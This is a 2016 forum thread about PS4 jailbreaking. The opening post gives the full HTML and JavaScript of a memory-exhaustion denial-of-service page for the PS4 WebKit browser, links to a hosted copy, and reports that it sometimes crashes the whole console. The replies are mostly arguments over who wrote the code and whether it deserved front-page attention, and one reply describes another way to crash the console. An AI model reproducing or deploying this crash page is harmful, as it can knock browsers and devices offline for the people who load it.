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PS4 Jailbreaking       Thread starter Insityyy       Start date Oct 28, 2016 at 7:32 PM       15      
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So, I found a vulnerability (Original found by Dr_IDE) that seems to work on PS4, I modified the HTML code a little, just to make it say Webkit crash at the top and to add a "start exploit" button, and to make it more reliable on the PS4 web browser.

Anyways, I have been testing this vulnerability out and it seems to sometimes crash the entire system and requires a reboot to be usable again.

I have a video of what it did after I tried this (after 1 reboot):

For all the people who want to try it right now, EdiTzZMoDz on twitter added the exploit to his site: http://ps4.editzz.net/dos401/index.html

Here is the code:
Basic Coding.. Crashes Phones... Mean not worth the time on ps4
Code:
<html>
<title>Not Enough Free System Memory DoS Exploit</title>
<head>
<script>
function dos()
 {
    var longunistring1 = unescape("%u4141%u4141");
    var longunistring2 = unescape("%u4242%u4242");
    var longunistring3 = unescape("%u4343%u4343");
    var longunistring4 = unescape("%u4444%u4444");
        var longunistring5 = unescape("%u4545%u4545");
    var longunistring6 = unescape("%u4646%u4646");
    var longunistring7 = unescape("%u4747%u4747");

    for(i=0; i <= 950 ; ++i)
 {
        longunistring1+=longunistring1;
        longunistring2+=longunistring2;
        longunistring3+=longunistring3;
        longunistring4+=longunistring4;
        longunistring5+=longunistring5;
        longunistring6+=longunistring6;
        longunistring7+=longunistring7;
        document.write(longunistring1);
        document.write(longunistring2);
        document.write(longunistring3);
        document.write(longunistring4);
        document.write(longunistring5);
        document.write(longunistring6);
        document.write(longunistring7);
    }
    document.write(longunistring1);
    document.write(longunistring2);
    document.write(longunistring3);
    document.write(longunistring4);
    document.write(longunistring5);
    document.write(longunistring6);
    document.write(longunistring7);
}
</script>
</head>
<body>
<input type="button" value="Start Exploit" onclick="dos();">
</body>
</html>
PS4 4.01 Webkit DoS Exploit (Crashes Full System Sometimes).jpg
 

Comments

If use want a dos on ps4 sign in to google on html have few pictures on it click into them or pull down tool bar nav about or select 7 pics to delete and watch it crash on 3.55 4.01 untested on 4.05

ps4 crashes all the time on my google private photos n when i select 7 odd photos to delete it crashes again i will try upload a video when i get some time
 
Screenshot_20161029_112229.png


So basically you did steal ryan Code and uploaded it ROFl​
i still don't see why it's front page news.
I 100% booking agree with you there bud.. as people looks at the front page for new Jailbreak stuff or new news on the jailbreak situation... not a DDOS Script to crash a ps4
 
Screenshot_20161029_112229.png


So basically you did steal ryan Code and uploaded it ROFl​

I 100% booking agree with you there bud.. as people looks at the front page for new Jailbreak stuff or new news on the jailbreak situation... not a DDOS Script to crash a ps4
I didnt steal it, it is public bro i have a link on the thread lol. Ryan just said it was his but really got it from exploit db. I found it while looking through vulnerabilities on exploit db, but i didnt say it was mine.
 
Damn so much drama over a post. Feel like im in middle school or something. Chill guys. There are a few people on here that think being a dev gives them the right to be a-holes. And then there are a few that argue over the dumbest crap. Just my opinion. i think everyone needs to relax.

Maybe this shouldnt be on the front page. Maybe its not something huge or anything useful. Lets be glad people are showing interest in the scene and want to be useful. Unlike the idiots who see a devkit and think its a jailbreak and start demanding crap
 
Damn so much drama over a post. Feel like im in middle school or something. Chill guys. There are a few people on here that think being a dev gives them the right to be a-holes. And then there are a few that argue over the dumbest crap. Just my opinion. i think everyone needs to relax.

Maybe this shouldnt be on the front page. Maybe its not something huge or anything useful. Lets be glad people are showing interest in the scene and want to be useful. Unlike the idiots who see a devkit and think its a jailbreak and start demanding crap
We're not in middle school? well i guess i have missed alot of school than....
 
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